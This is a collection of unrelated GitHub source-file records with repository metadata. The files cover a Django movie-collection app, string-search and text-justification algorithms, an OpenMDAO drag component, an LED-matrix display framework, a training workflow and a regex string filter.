+{"seq_id":"5596153648","text":"# s1 = {(3,3),[[0,1,0],[0,1,0],[1,1,1]]}\n\n'''\ntable size 6x8\n\n\n**blocks**\nb0 : 1x1\no\n\nb1 : 3x3\nxox\nxox\nooo\n\nb2 : 3x3\nxox\nooo\nxox\n\nb3 : 3x3\noxx\noox\nxoo\n\nb4 : 3x2\noo\nox\nox\n\nb5 : 2x4\nooxx\nxooo\n\nb6 : 2x4\noooo\nxoxx\n\nb7 : 2x3\nxxo\nooo\n\nb8 : 3x3\nxox\nooo\nxxo\n\nb9 :5x1\no\no\no\no\no\n\nb10 : 3x2\noo\nxo\nxo\n\n\n'''\n\nsize = (3,3)\nfor i in range(6):\n if i + size[0] > 6:\n continue\n for j in range(8):\n if j+size[1] > 8:\n continue\n print(i,j)\n","repo_name":"nomadlife/python-exercise","sub_path":"puzzle_solver_test.py","file_name":"puzzle_solver_test.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"ta","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11484281130","text":"import requests\nimport json\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.core.urlresolvers import reverse_lazy, reverse\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import permission_required\nfrom django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView\nfrom apps.movies.models import Movie, UserMovie\nfrom django.utils.decorators import method_decorator\nfrom hakloevno import settings\nfrom apps.movies.forms import MovieForm\n# Create your views here.\n\nAPI_URL = \"http://www.omdbapi.com/?\"\n\n#Mixins\n# http://brack3t.com/our-custom-mixins.html\nclass CheckPermMixin(object):\n permission_required = None\n login_url = settings.LOGIN_URL\n def dispatch(self, request, *args, **kwargs):\n has_permission = request.user.has_perm(self.permission_required)\n if not has_permission:\n messages.error(request, \"You don't have access to this app!\")\n return HttpResponseRedirect('%s?next=%s' % (self.login_url, self.request.path))\n return super(CheckPermMixin, self).dispatch(request, *args, **kwargs)\n\nclass IndexView(CheckPermMixin, ListView):\n template_name = 'movies/index.html'\n model = Movie\n # Required fields for CheckPermMixin\n permission_required = 'movies.view_movie'\n def get_queryset(self):\n # .order_by('?') is really expensive in large dbs, need fix\n return UserMovie.objects.filter(user=self.request.user).order_by('?')[:3]\n def get_context_data(self, **kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n context.update({'movies': UserMovie.objects.filter(user=self.request.user).count()})\n context.update({'unseen': UserMovie.objects.filter(user=self.request.user, seen=False).count()})\n return context\n\nclass MovieDetailView(DetailView):\n model = UserMovie\n def get_object(self):\n return get_object_or_404(UserMovie, user=self.request.user, movie=Movie.objects.get(slug=self.kwargs.get('movie')))\n def get_context_data(self, **kwargs):\n context = super(MovieDetailView, self).get_context_data(**kwargs)\n return context\n\nclass BrowseView(CheckPermMixin, ListView):\n template_name = 'movies/movies_browse.html'\n model = UserMovie\n permission_required = 'movies.view_movie'\n context_object_name = 'movie_list'\n paginate_by = 10\n def get_queryset(self):\n return UserMovie.objects.filter(user=self.request.user)\n\n@permission_required('movies.add_movie')\ndef add_imdb(request, id):\n api_request = requests.get(API_URL + \"i=%s&plot=full&r=json\" % (id))\n if (api_request.status_code == requests.codes.ok):\n data = json.loads(api_request.text)\n if data.get('Response') == 'False':\n messages.error(self.request, 'No movie with the ID: %s found in the OMDb API' % (id))\n return HttpResponseRedirect(reverse('movies:index'))\n else:\n if Movie.objects.filter(title=data.get('Title', 'Unknown')).count():\n movie = Movie.objects.get(title=data.get('Title', 'Unknown'))\n else:\n movie = Movie(\n title=data.get('Title', 'Unknown'),\n year=data.get('Year', 'N/A'),\n plot=data.get('Plot', 'N/A'),\n rating=data.get('imdbRating', 'N/A'),\n runtime=data.get('Runtime', 'N/A'),\n poster_url=data.get('Poster', ''),\n imdb=id\n )\n movie.save()\n if not UserMovie.objects.filter(movie=movie, user=request.user).count():\n user_movie = UserMovie(\n movie = movie,\n user = request.user\n )\n user_movie.save()\n messages.success(request, '%s added to the collection' % movie.title)\n else:\n messages.error(request, 'You already have this movie in your collection')\n return HttpResponseRedirect(reverse('movies:movie_detail', args=(movie.slug,)))\n messages.error(request, 'Could not add movie, try again!') \n return HttpResponseRedirect(reverse('movies:index'))\n\nclass EditMovie(CheckPermMixin, UpdateView):\n model = UserMovie\n template_name_suffix = '_update_form'\n fields = ['last_seen',]\n permission_required = 'movies.change_movie'\n def get_object(self):\n return get_object_or_404(UserMovie, id=self.kwargs.get('id'))\n def form_valid(self, form):\n if self.get_object().user.id == self.request.user.id:\n self.object = form.save()\n messages.success(self.request, '%s updated' % self.object.movie.title)\n else:\n messages.error(self.request, 'This is not your movie to edit')\n return HttpResponseRedirect(reverse('movies:movie_detail', args=(self.object.movie.slug,)))\n\nclass DeleteMovie(CheckPermMixin, DeleteView):\n model = UserMovie\n permission_required = 'movies.delete_movie'\n success_url = reverse_lazy('movies:index') \n def get_object(self):\n return get_object_or_404(UserMovie, id=self.kwargs.get('id'))\n # Check possiblity to move the delete function to the model and remove UserMovie objects from there\n def delete(self, request, *args, **kwargs):\n self.object = self.get_object()\n if self.object.user.id == request.user.id:\n movie = self.object.movie.title\n if UserMovie.objects.filter(movie=self.object.movie).count() == 1:\n Movie.objects.get(slug=self.object.movie.slug).delete()\n # Automatically removes UserMovie-object\n else:\n UserMovie.objects.get(id=self.object.id).delete() \n messages.success(request, '%s successfully removed from collection' % movie)\n else:\n messages.error(request, 'This is not your movie to delete')\n return HttpResponseRedirect(self.get_success_url())\n\ndef search_imdb(request):\n context = {}\n query = request.GET.get('q', None)\n if query:\n context.update({'query': query})\n api_request = requests.get(API_URL + 's=%s&r=json' % (query))\n if (api_request.status_code == requests.codes.ok):\n data = json.loads(api_request.text)\n if data.get('Response') == 'False':\n messages.error(request, 'No search result from OBMb API')\n return HttpResponseRedirect(reverse('movies:index'))\n else:\n context.update({'movies': data.get('Search')})\n return render(request, 'movies/movie_search_imdb.html', context)\n\ndef search(request):\n context = {}\n query = request.GET.get('q', None)\n if query:\n context.update({'query': query})\n if len(query) > 3:\n context.update({'results': UserMovie.objects.filter(movie__title__icontains=query, user=request.user)})\n else:\n messages.error(request, 'The search query must be larger than 3 characters.')\n return render(request, 'movies/movie_search.html', context)\n","repo_name":"hakloev/old-hakloevno","sub_path":"apps/movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74797337766","text":"#!/usr/bin/env python3\n\nimport sys\n\n\nclass Solution:\n def strStr(self, haystack: str, needle: str) -> int:\n needle_size = len(needle)\n haystack_size = len(haystack)\n if (needle_size > haystack_size):\n return -1\n prime = 11\n hash_s = 0\n hash_t = 0\n left = 0\n right = needle_size - 1\n #so let's implement hash_s and hash_t (hash haystack and hash needle)\n for i in range(needle_size):\n hash_s += (ord(haystack[i]) * (prime ** i))\n hash_t += (ord(needle[i]) * (prime ** i))\n while right < haystack_size:\n #if hashes are equals we compare sliding window from left to right with needle\n if (hash_s == hash_t):\n if (haystack[left : right + 1] == needle):\n return (left)\n #we update the hash\n #we substract the value of the left char on the slinding window\n hash_s -= ord(haystack[left])\n #we divid the hash by prime\n hash_s //= prime\n #and if we are not on the end, we add the value of right + 1 char of the sliding window * (prime **(t_size - 1))\n if (right + 1 < haystack_size):\n hash_s += (ord(haystack[right + 1]) *(prime ** (needle_size - 1)))\n right += 1\n left += 1\n return (-1)\n\nsol = Solution()\nprint(sol.strStr(sys.argv[1], sys.argv[2]))","repo_name":"femifacia/algorithms","sub_path":"python/algorithms/find_the_index_of_the_first_occurence_in_a_string/main_rabbin_karp.py","file_name":"main_rabbin_karp.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"9345421740","text":"import numpy as np\n\nimport openmdao.api as om\n\n\nclass CD0Comp(om.ExplicitComponent):\n \"\"\" Computes the zero-lift drag coefficient\n \"\"\"\n def initialize(self):\n self.options.declare('num_nodes', types=int)\n\n def setup(self):\n nn = self.options['num_nodes']\n\n # Inputs\n self.add_input('mach', shape=(nn,), desc='Mach number', units=None)\n\n # Outputs\n self.add_output(name='CD0', val=np.zeros(nn), desc='zero-lift drag coefficient', units=None)\n\n # Jacobian\n ar = np.arange(nn)\n self.declare_partials(of='CD0', wrt='mach', rows=ar, cols=ar)\n\n def compute(self, inputs, outputs):\n M = inputs['mach']\n\n idx_low = np.where(M < 1.15)[0]\n idx_high = np.where(M >= 1.15)[0]\n\n outputs['CD0'][idx_low] = 0.013 + 0.0144 * (1.0 + np.tanh((M[idx_low] - 0.98) / 0.06))\n outputs['CD0'][idx_high] = 0.013 + \\\n 0.0144 * (1.0 + np.tanh(0.17 / 0.06)) - 0.011 * (M[idx_high] - 1.15)\n\n def compute_partials(self, inputs, partials):\n M = inputs['mach']\n\n idx_low = np.where(M < 1.15)[0]\n idx_high = np.where(M >= 1.15)[0]\n\n k = 50.0 / 3.0\n\n partials['CD0', 'mach'][idx_low] = 0.24 / (np.cosh(k * (M[idx_low] - 0.98))**2)\n partials['CD0', 'mach'][idx_high] = -0.011\n","repo_name":"OpenMDAO/dymos","sub_path":"dymos/examples/min_time_climb/aero/cd0_comp.py","file_name":"cd0_comp.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":165,"dataset":"github-code","pt":"53"}
+{"seq_id":"20479807910","text":"from configparser import ConfigParser\nimport os\nimport sys\nimport pygame\nimport pygame.locals as pgl\nfrom PIL import Image\ntry:\n from .custom_virtual_gamepads import set_up_gamepad\nexcept (ImportError, SystemError) as e:#if doing screen test\n from custom_virtual_gamepads import set_up_gamepad\nimport signal\n\n\nCURRDIR = os.path.abspath(os.path.dirname(__file__))\nsys.path.append(os.path.join(CURRDIR, 'matrix','bindings','python'))\nfrom rgbmatrix import RGBMatrix, RGBMatrixOptions\n\n\ndef init_pygame_display(width, height):\n os.putenv('SDL_VIDEODRIVER', 'fbcon')\n os.environ[\"SDL_VIDEODRIVER\"] = \"dummy\"\n pygame.init()\n #pygame.display.set_mode((width, height), 0, 24)\n #return pygame.display.get_surface()\n return pygame.Surface((width, height))\n\n\ndef process_input_arg(argv):\n \"\"\"\n Returns a tuple of len 2.\n The first object is a string to a config file.\n The second argument is an integer for the demo. If set to 0, then the \n pygame surface will be sent to the matrix leds. Else, it will be outputed\n on the normal screen with a scaling factor.\n \"\"\"\n assert (len(argv)<4),\"maximum 2 arguments\"\n assert (len(argv)>1),\"needs at least one argument to the config file\"\n \n demo = 0\n configfile = ''\n for arg in argv:\n if \"--demo\" in arg:\n demo = arg.split('=')\n if len(demo) == 1:\n demo = 1\n elif len(demo) == 2:\n demo = int(demo[1])\n else: \n configfile = arg\n assert (os.path.isfile(configfile)), configfile+\" should be a path to the config file\"\n return configfile, demo\n \n\n\ndef get_config(configfile):\n \"\"\"\n configfile: path to a .ini file with the murapix configuration\n \n returns mapping, width, height, max_number_of_panels, led_rows\n \"\"\"\n config = ConfigParser()\n config.read(configfile)\n mapping = config.get('matrix','mapping')\n #first get number of holes\n number_of_holes = mapping.count('.')\n #then change mapping to a list of list\n mapping = mapping.split('\\n')\n mapping = [m.split(',') for m in mapping]\n #check if mapping is correctly configured\n good_size_col = all(len(mapping[m]) == len(mapping[m+1]) \n for m in range(len(mapping)-1))\n assert good_size_col, \"There should be the same number of panels per row\"\n number_of_rows = len(mapping)\n number_of_cols = len(mapping[0])\n max_number_of_panels = number_of_cols * number_of_rows - number_of_holes\n panel_numbering = list(range(1,max_number_of_panels+1))\n for i in range(number_of_rows):\n for j in range(number_of_cols):\n if '.' in mapping[i][j]:\n mapping[i][j] = None\n else:\n try:\n p_n = int(mapping[i][j])\n except: \n err_mess = 'mapping must contain either \".\" or integers'\n raise ValueError(err_mess)\n err_mess = \"Integers in mapping should form a sequence from 1 to \"+str(max_number_of_panels)\n assert (p_n in panel_numbering), err_mess\n mapping[i][j] = p_n\n panel_numbering.remove(p_n)\n err_mess = \"Missing integers in mapping: \"+str(panel_numbering)\n assert (len(panel_numbering)<1), err_mess\n \n led_rows = config.getint('matrix','led-rows')\n led_cols = config.getint('matrix','led-cols')\n assert (led_rows==led_cols), \"For now, murapix can only control square led panels\"\n #TODO: check if non-square pannels work\n width = number_of_cols * led_cols\n height = number_of_rows * led_rows\n \n if config.has_option('matrix','parallel'):\n parallel = config.getint('matrix','parallel')\n err_msg = (\"Each channel must have the same number of pannels:\\n\"\n \"{} total number of pannels for {} channels\".format(max_number_of_panels, \n parallel))\n assert max_number_of_panels%parallel == 0, err_msg\n else:\n parallel = 1\n \n return mapping, width, height, max_number_of_panels, led_rows, led_cols, parallel\n \n \ndef get_largest_rect(mapping, key='surface'):\n \"\"\"\n get the largest rectangle from the mapping of LED matrices.\n \n \"Largest\" maybe calculated by two methods:\n \"surface\": the rectangle with the largest surface\n \"diag\": the rectangle with the largest diagonal\n \"\"\"\n \n #https://stackoverflow.com/questions/19414673/in-numpy-how-to-efficiently-list-all-fixed-size-submatrices \n from numpy.lib.stride_tricks import as_strided\n from itertools import product \n import numpy as np\n m = np.array(mapping)\n l = product(range(m.shape[0],0,-1),range(m.shape[1],0,-1))\n if key=='surface':\n all_shapes = sorted(l, key=lambda row: row[0]*row[1],reverse=True)\n elif key=='diag':\n all_shapes = sorted(l, key=lambda row: row[0]**2+row[1]**2,reverse=True)\n else:\n raise ValueError('Key must be \"surface\" or \"diag\". {} was entered'.format(key))\n \n for sub_shape in all_shapes:\n view_shape = tuple(np.subtract(m.shape, sub_shape) + 1) + sub_shape\n arr_view = as_strided(m, view_shape, m.strides * 2)\n arr_view = arr_view.reshape((-1,) + sub_shape)\n for i in arr_view:\n if i.all():\n return i\n \ndef get_largest_rect_add(led_rows, m,n=None,key='surface'):\n \"\"\"\n Returns the pixel/led address of the largest rectangle using pygame standard:\n ((left, top), (width, height))\n \n \n ____\n usage\n ____\n \n If get_largest_rect was not called before, just insert the mapping. You\n may indicate the calculation method\n >>> (left, top), (width, height) = get_largest_rect_add(led_rows,mapping)\n >>> (left, top), (width, height) = get_largest_rect_add(led_rows,mapping,key='diag')\n In case the largest rectangle is already known, insert both\n >>> (left, top), (width, height) = get_largest_rect_add(led_rows,mapping,rec)\n \n \"\"\"\n import numpy as np\n if n is None:\n n = get_largest_rect(m,key=key)\n if type(m) is not np.ndarray:\n m = np.array(m)\n \n top, left = (np.argwhere(m==n[0][0])*led_rows).flatten().tolist()\n _t, _l = ((1+np.argwhere(m==n[-1][-1]))*led_rows).flatten().tolist()\n width, height = _l-left, _t-top\n \n \n return ((left, top),(width, height))\n \ndef get_deadzone_addresses(mapping, led_rows):\n \"\"\"\n Yields a list of ((left, top), (width, height)) for each square where\n there is a dead zone in the mapping, i.e. no LED in the matrix.\n \"\"\"\n for i, n in enumerate(mapping):#x, rows\n for j, m in enumerate(n):#y, panel number\n if m is not None:\n continue\n #rectangle to extract from the width*height scratch surface\n yield ((led_rows*j,led_rows*i),(led_rows,led_rows))\n\n\ndef get_panel_adresses(mapping, led_rows):\n \"\"\"\n Yields a list of ((left, top), (width, height)) for each square where\n there is a panel in the mapping.\n \"\"\"\n for i, n in enumerate(mapping):#x, rows\n for j, m in enumerate(n):#y, panel number\n if m is None:\n continue\n #rectangle to extract from the width*height scratch surface\n yield ((led_rows*j,led_rows*i),(led_rows,led_rows))\n\n\n\nclass Murapix:\n \"\"\"\n Create a subclass to use Murapix\n \n The screen surface on which you need to blit the sprites is self.scratch.\n \n Murapix has the following properties:\n self.mapping: how the different LED panels are put in place\n self.demo: 0 if going to the LED panels, a positive int if it is going to the standart screen\n self.width: the total width of the rectangle enclosing all panels in pixel \n self.height: the total height of the rectangle enclosing all panels in pixel\n self.max_number_of_panels: the number of panels\n self.led_rows: the number of pixel for both height and width of the panels\n self.scratch: the total pygame surface which is going to be processed by the murapix draw methods to either go the LED panels or, in demo mode, to the standart screen.\n self.gamepad: None by default. If set to a path string pointing to an SVG, will start the virtual gamepad\n \"\"\"\n def __init__(self):\n configfile, demo = process_input_arg(sys.argv)\n (mapping, width, height, max_number_of_panels, \n led_rows, led_cols, parallel) = get_config(configfile)\n self.RUNNING = True\n self.mapping = mapping\n self.demo = demo\n self.width = width\n self.height = height\n self.max_number_of_panels = max_number_of_panels\n self.led_rows = led_rows\n self.led_cols = led_cols\n self.parallel = parallel\n self.scratch = pygame.Surface((width, height))\n self.gamepad = None\n \n \n #signal handlers to quite gracefully\n signal.signal(signal.SIGINT, self.quit_gracefully)\n signal.signal(signal.SIGTERM,self.quit_gracefully)\n print(\"\"\" murapix Copyright (C) 2019 hy@amani.eu\n This program comes with ABSOLUTELY NO WARRANTY.\n This is free software, and you are welcome to redistribute it\n under certain conditions.\"\"\")#LICENSE\n \n if not demo:\n #must be a raspberry pi configured for murapix, hence nodename\n #must be \"rpi-murapix\"\n if os.uname().nodename not in (\"rpi-murapix\",\"raspberrypi\"):\n raise EnvironmentError(\"Not a murapix, please select demo mode with --demo=X\")\n \n print('Going on the Murapix!')\n print('{0} channel(s) of [{1}*{2}={3} LED] X [{4} LED]'.format(parallel,\n max_number_of_panels//parallel,\n led_rows,\n max_number_of_panels*led_rows//parallel,\n led_cols))\n #the screen is just a single line of panels\n \n options = RGBMatrixOptions()\n options.rows = options.cols = led_rows\n options.parallel = parallel\n options.chain_length = max_number_of_panels//parallel\n options.hardware_mapping = 'regular'\n options.drop_privileges = 0\n self.matrix = RGBMatrix(options = options)\n \n self.double_buffer = self.matrix.CreateFrameCanvas()\n self._screen = init_pygame_display((max_number_of_panels//parallel)*led_rows, \n led_cols*parallel)\n else: \n print('Going on the standart screen...') \n pygame.init()\n self._screen = pygame.display.set_mode((width*demo,height*demo),0, 32)\n \n \n self.clock = pygame.time.Clock()\n self.fps = 15 \n \n \n def setup(self):\n pass\n\n def logic_loop(self):\n pass\n \n def graphics_loop(self):\n pass\n \n def run(self):\n if self.gamepad:\n try:\n self.start_gamepad()\n except Exception as e:\n print(\"Error starting gamepad\") \n print(e) \n self.close()\n raise e\n self.setup()\n \n if self.demo:\n draw = self.draw_demo\n else:\n draw = self.draw_murapix\n while self.RUNNING:\n self.logic_loop()\n self.graphics_loop()\n draw()\n self.clock.tick(self.fps)\n \n self.close()\n \n def draw_demo(self):\n demo = self.demo\n width = self.width\n height = self.height\n pygame.transform.scale(self.scratch,\n (width*demo,height*demo),\n self._screen)\n pygame.display.flip()\n \n def draw_murapix(self):\n scratch = self.scratch\n screen = self._screen\n mapping = self.mapping\n led_rows = self.led_rows\n led_cols = self.led_cols\n parallel = self.parallel\n curr_chain_row = 0\n NoP_per_chain = int(self.max_number_of_panels/parallel)\n \n #now blit each simulated panel in a row onto screen in the order \n #indicated by the mapping in the config file. \n #TODO: may be more efficient by vectorizing & using blits() instead of blit()\n for i, n in enumerate(mapping):#x, rows\n for j, m in enumerate(n):#y, panel number\n if m is None:\n continue\n #find in which chain \"m\" is\n curr_chain_row = int((m-1)/NoP_per_chain)\n \n #print into a square that fits hzeller doc led addressing\n #see https://github.com/hzeller/rpi-rgb-led-matrix/blob/master/wiring.md#chains \n screen.blit(scratch,#surface to take from\n #LED (row,col) on the lined up panels\n (led_rows*((m-(NoP_per_chain*curr_chain_row))-1),\n curr_chain_row*led_cols),\n #rectangle to extract from the width*height scratch surface\n area=pygame.Rect((led_rows*j,led_rows*i),\n (led_rows,led_rows)))\n \n \n \n py_im = pygame.image.tostring(screen, \"RGB\",False)\n pil_im = Image.frombytes(\"RGB\",screen.get_size(),py_im)\n self.double_buffer.SetImage(pil_im)\n self.matrix.SwapOnVSync(self.double_buffer)\n \n def start_gamepad(self):\n assert os.path.isfile(self.gamepad), \"self.gamepad must be a path to an SVG file\"\n self.p = set_up_gamepad(self.gamepad)\n self.draw_select_gamepads()\n pygame.joystick.quit()\n pygame.joystick.init()\n \n \n def draw_select_gamepads(self):\n rect_area = get_largest_rect_add(self.led_rows,self.mapping)\n ((left, top),(width, height)) = rect_area\n not_selected = True\n no_gamepad = True\n active_joystick = False\n fontsize = 3*width//18-1\n top = top + (height-fontsize*4)//2\n font = pygame.font.Font(None, fontsize)\n text = font.render(\"Players connected:\",\n False,\n (255,255,255),\n (0,0,0))\n text_end0 = font.render(\"Press any key\",\n False,\n (255,255,255),\n (0,0,0))\n text_end1 = font.render(\" to start\",\n False,\n (255,255,255),\n (0,0,0))\n \n if self.demo:\n draw = self.draw_demo\n else:\n draw = self.draw_murapix\n \n while not_selected:\n self.clock.tick(self.fps)\n NoJS = [x.startswith('js') for x in os.listdir(\"/dev/input\")].count(True)\n \n text_NoP = font.render(str(NoJS),\n False,\n (255,255,255),\n (0,0,0))\n if NoJS>0 and no_gamepad:\n no_gamepad = False\n pygame.joystick.quit()\n pygame.joystick.init()\n active_joystick = pygame.joystick.Joystick(0)\n active_joystick.init()\n \n \n for event in pygame.event.get():\n if (active_joystick and event.type == pgl.JOYBUTTONDOWN):\n not_selected = False\n print('{} players selected'.format(NoJS))\n \n \n tw , th = font.size(\"Players connected:\")\n self.scratch.blit(text,(left+(width-tw)//2,top))\n self.scratch.blit(text_NoP,(left+width//2,top+1*fontsize))\n tw , th = font.size(\"Press any key\")\n self.scratch.blit(text_end0,(left+(width-tw)//2,top+2*fontsize))\n tw , th = font.size(\" to start\")\n self.scratch.blit(text_end1,(left+(width-tw)//2,top+3*fontsize))\n draw()\n \n def close(self):\n #https://stackoverflow.com/questions/2638909/killing-a-subprocess-including-its-children-from-python\n \n if self.gamepad:\n try:\n os.killpg(os.getpgid(self.p.pid), signal.SIGTERM)\n except Exception as e:\n print(\"Error trying to kill gamepad node and its children\")\n print(e)\n \n \n pygame.quit()\n sys.exit()\n\n def quit_gracefully(self,sig,frame):\n print('\\n### {} was catched, terminating ###'.format(signal.Signals(sig).name))\n self.RUNNING = False\n self.close()\n","repo_name":"murapixrepo/murapix","sub_path":"murapix.py","file_name":"murapix.py","file_ext":"py","file_size_in_byte":17150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74332999846","text":"import os, sys, time, json\nimport time\nimport utils\nfrom utils import recorder\n\nfrom data import HSIDataLoader \nfrom new_data import create_data_loader\nfrom trainer import get_trainer, BaseTrainer, CrossTransformerTrainer\nimport evaluation\n\n\ndef train_by_param(param):\n #0. recorder reset防止污染数据\n recorder.reset()\n # 1. 数据生成\n dataloader = HSIDataLoader(param)\n train_loader, test_loader = dataloader.generate_torch_dataset() \n # train_loader, test_loader, all_data_loader, _ = create_data_loader() \n\n # 2. 训练和测试\n trainer = get_trainer(param)\n trainer.train(train_loader, test_loader)\n eval_res = trainer.final_eval(test_loader)\n\n #3. record all information\n recorder.record_param(param)\n recorder.record_eval(eval_res)\n \n return eval_res\n\n\n# include_path = {\n# 'conv2d.json',\n# 'vit_30.json',\n# }\n\ninclude_path = {\n # 'conv3d.json',\n # 'conv2d.json',\n # 'conv1d.json',\n # 'vit_30.json',\n 'cross_param.json'\n}\n\ndef run_all():\n save_path_prefix = './res/'\n if not os.path.exists(save_path_prefix):\n os.makedirs(save_path_prefix)\n\n for name in include_path:\n path_param = './params/%s' % name\n with open(path_param, 'r') as fin:\n param = json.loads(fin.read())\n print('start to train %s...' % name)\n eval_res = train_by_param(param)\n print('model eval done of %s...' % name)\n path = '%s/%s' % (save_path_prefix, name) \n recorder.to_file(path)\n\n \n\ndef run_diffusion():\n path_param = './params/cross_param.json'\n with open(path_param, 'r') as fin:\n param = json.loads(fin.read())\n path_prefix = './res/patch_8_pca_2000'\n if not os.path.exists(path_prefix):\n os.makedirs(path_prefix)\n\n for t in [5,10,100,200,500]:\n for index in [0,1,2]:\n name = \"t%s_%s_full.pkl.npy\" % (t, index)\n print('start to train %s...' % name)\n param['diffusion_data_sign'] = name\n eval_res = train_by_param(param)\n print('model eval done of %s...' % name)\n path = '%s/indian_diffusion_%s' % (path_prefix, name) \n recorder.to_file(path)\n\n\n\n\nif __name__ == \"__main__\":\n # run_diffusion()\n run_all()\n \n \n\n\n\n\n","repo_name":"chenning0115/hypercodes_for_diffusion","sub_path":"codes/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"24108816973","text":"import re\nimport sys\n\n\"\"\" ниже преобразования встроенными функциями \"\"\"\n\nurl_start = ('www.', 'http://', 'https://')\nurl_ends = ('.ru', '.com', '.рф', '.org', '.net')\n\n\ndef is_it_url (s):\n \"\"\" поиск строки, начинающейся с url_start и заканчивающейся url_ends \"\"\"\n for something in url_start:\n if s.startswith(something):\n for anything in url_ends:\n if s.endswith(anything):\n return True\n #else:\n #return False\n\n \n\ndef is_it_email (s):\n \"\"\" поиск строки, имеющей одну собачку и домен из url_ends \"\"\"\n if s.find('@') != -1:\n for something in url_ends:\n if s.endswith(something):\n return True\n #else:\n #return False\n\n\ndef is_it_threedigits (s):\n if len(s)>3 and s.isdigit():\n return True\n else: return False\n\n\ns = input('Введите строку ')\ntry: \n new_string = ''\n \n strings = s.split(' ')\n for string in strings:\n replace = ''\n if is_it_url(string):\n replace = '[ссылка запрещена]'\n elif is_it_email(string):\n replace = '[контакты запрещены]'\n elif is_it_threedigits(string):\n continue\n if len(replace) > 0:\n new_string += replace + ' '\n else:\n new_string += string + ' ' \n\n \"\"\" ниже преобразования регулярными выражениями \"\"\"\n \n new_string_regular = re.sub(r'\\w',s[0], s[0]) + re.sub(r'\\w', lambda get_low: get_low.group(0).lower(), s[1:]) #тут первым символом я так поняла может быть символ в любом регистре\n new_string_regular = re.sub(r'\\b(?:(?:http[s]?|ftp):\\/\\/|www\\.)[-a-z0-9|:.?&+=]*(?:(\\.ru|\\.com|\\.рф|\\.org|\\.net))', '[Ссылка запрещена]' , new_string_regular)\n new_string_regular = re.sub(r'[-a-z0-9|.]*@*[-a-z0-9|:.]*(?:(\\.ru|\\.com|\\.рф|\\.org|\\.net))', '[Контакты запрещены]', new_string_regular)\n new_string_regular = re.sub(r'\\s\\d\\d\\d\\d+' , '' , new_string_regular)\n\n \"\"\" Вывод результатов преобразований встроенными функциями и регулярными выражениями\"\"\"\n \n print('Преобразования встроенными функциями... ')\n print(new_string[1] + new_string[2:].lower()) \n print('Преобразование с помощью регулярный выражений... ')\n print(new_string_regular)\n \nexcept IndexError:\n print('Строка пуста... ')\nexcept Exception:\n print(\"Unexpected error:\", sys.exc_info()[0])\n\n\n","repo_name":"Tanya-atatakai/Python_Homeworks","sub_path":"3_2_change_strings/3_2_change_strings.py","file_name":"3_2_change_strings.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34702529245","text":"from sqlalchemy import *\nfrom SQLA_Base import Base\nfrom sqlalchemy.orm import relationship\n\nclass Facility_Types(Base):\n # defines different facility facility_types\n __tablename__ = 'facility_types'\n id = Column(Integer, primary_key=True)\n Fac_Type = Column(String(), unique=True)\n facility_chars = relationship(\"Facility_Chars\") #setup 1:many relationship between table noted in this line, and this class\n facility_type_has_nel = relationship(\"Facility_Type_Has_NEL\") #setup 1:many relationship between table noted in this line, and this class\n\n def __repr__(self):\n return \"\" % (\n self.id, self.Fac_Type)\n","repo_name":"mallen69/C-Users-micha-Desktop-DevLeague-Begins-Nov-7-2017-Project_Sprint_7","sub_path":"Sprint03_Data_Operation/_jonhonda_dat/special_prj/SQLA_DB_facility_types.py","file_name":"SQLA_DB_facility_types.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28398909735","text":"class Solution(object):\n def fullJustify(self, words, maxWidth):\n \"\"\"\n :type words: List[str]\n :type maxWidth: int\n :rtype: List[str]\n \"\"\"\n res = []\n res_list = []\n curr = []\n count, pos = 0, 0\n while pos < len(words):\n word = words[pos]\n if len(word) > maxWidth:\n pos += 1\n if len(word) + count + len(curr)<= maxWidth:\n count += len(word)\n curr.append(word)\n pos += 1\n else:\n res_list.append(curr)\n curr = []\n count = 0\n if len(curr) > 0:\n res_list.append(curr)\n # print res_list\n for index, curr in enumerate(res_list):\n text = ''\n remain = sum([len(t) for t in curr])\n if len(curr) == 1:\n # single word\n text = curr[0] + ' ' * (maxWidth - remain)\n elif index == len(res_list) - 1:\n # last line\n text = ' '.join(curr)\n text += ' ' * (maxWidth - remain - len(curr) + 1)\n else:\n # multiple\n step = (maxWidth - remain) // (len(curr) - 1 )\n extra = (maxWidth - remain) % (len(curr) - 1 )\n for index in range(len(curr) - 1):\n text += curr[index] + ' ' * step\n if extra > 0:\n # assign from left\n text += ' '\n extra -= 1\n text += curr[-1]\n res.append(text)\n return res","repo_name":"yangliunk1987/LearningLeetcode","sub_path":"068.Text_Justification/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
